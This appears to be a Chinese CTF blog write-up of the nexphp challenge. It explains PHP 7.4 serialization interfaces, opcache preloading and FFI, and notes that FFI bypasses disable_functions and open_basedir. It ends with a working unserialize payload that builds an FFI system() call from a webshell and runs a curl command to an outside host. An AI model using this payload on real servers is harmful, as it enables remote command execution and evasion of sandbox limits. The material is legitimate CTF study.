前言

这一篇是 nexphp 题目的学习,主要考点是 PHP7.4 版本的几个新特性。

看来读读 RFC 总是能知道很多有趣的特性的。


序列化接口

序列化接口( Serializable )在 PHP7.4 之前的版本就已经存在了:https://www.php.net/manual/zh/class.serializable.php

简单来说就是接口中定义了两个方法 serialize 和 unserialize,这两个方法代替了 PHP 魔术方法中的 __sleep 和 __wakeup。

原本的魔术方法主要用于选择要进行序列化的成员变量以及在反序列化时执行各种初始化操作:

而序列化接口则给了用户更多的自由,通过序列化接口用户可以自己定义自己的序列化操作:

而 PHP7.4 版本对序列化接口进行了修改:https://wiki.php.net/rfc/custom_object_serialization

PHP7.4 提出了两个新的序列化接口:__serialize()/ __unserialize()

在同时拥有两种序列化接口的时候,PHP7.4 会优先使用新版本的接口。


预加载

在 PHP7.4 中,php.ini 有一个新指令 opcache.preload,这个指令可以用来预加载一个 PHP 文件,被预加载的 PHP 文件将被执行,并永远缓存在 opcache 内存中。通过在该 PHP 文件中包含,或者使用 opcache_compile_file 函数的方式,我们可以将其他 PHP 文件或者整个框架都预加载到 opcache 内存中。

预加载的类和函数始终可用,并且使用函数 function_exists 或 class_exists 检查的时候,返回值为 TRUE。


外部函数接口FFI

PHP7.4 的有趣的新特性,它允许开发者在 PHP 中调用 C 函数和使用 C 数据类型:https://wiki.php.net/rfc/ffi

我们可以通过 FFI 调用很多危险的函数,比如 system,比如 php_exec:

更有趣的一点是,FFI 可以绕过 php.ini 中 open_basedir 和 disable_functions 的限制。

当然,这么强大的功能自然也是有一些限制的:

在默认配置下,我们只能在预加载的 PHP 文件中使用 FFI,同时要注意的一点是,我们可以通过在预加载的 PHP 文件中生成一些 FFI\CData 对象,再交给我们的一般代码中使用的方式,来实现一般代码对 FFI 的使用,这也是 RCTF 的 Web 签到题的主要考点。

如果我们第二个参数,也就是 lib 的文件名空着,他还能加载到 libc 中的 system函数吗?

官方手册上这么说:

If lib is omitted, platforms supporting RTLD_DEFAULT attempt to lookup symbols declared in code in the normal global scope. Other systems will fail to resolve these symbols.

也就是说一般情况下,会尝试在全局范围内对符号进行寻找。


赛题复现

题目环境关闭了写权限,应该是为了防止非预期。(不过 FFI 应该无法非预期?毕竟无法预加载其他 PHP 文件了。)

题目还禁止了 ReflectionClass 这个类,应该是为了防止通过反射直接使用题目给出的类吧。(不过好像也没有什么好用的?)

通过 call_user_func 调用 FFI::cdef(int system(char *command);) 生成一个 FFI 对象,然后在我们的 webshell 中使用即可:

$a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}');$a->ret->system("curl https://*.cn/xss.php");

Orz


CTF Web PHP

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

docker-compose
RCTF2019-Web-rblog/ez4cr引发的思考和学习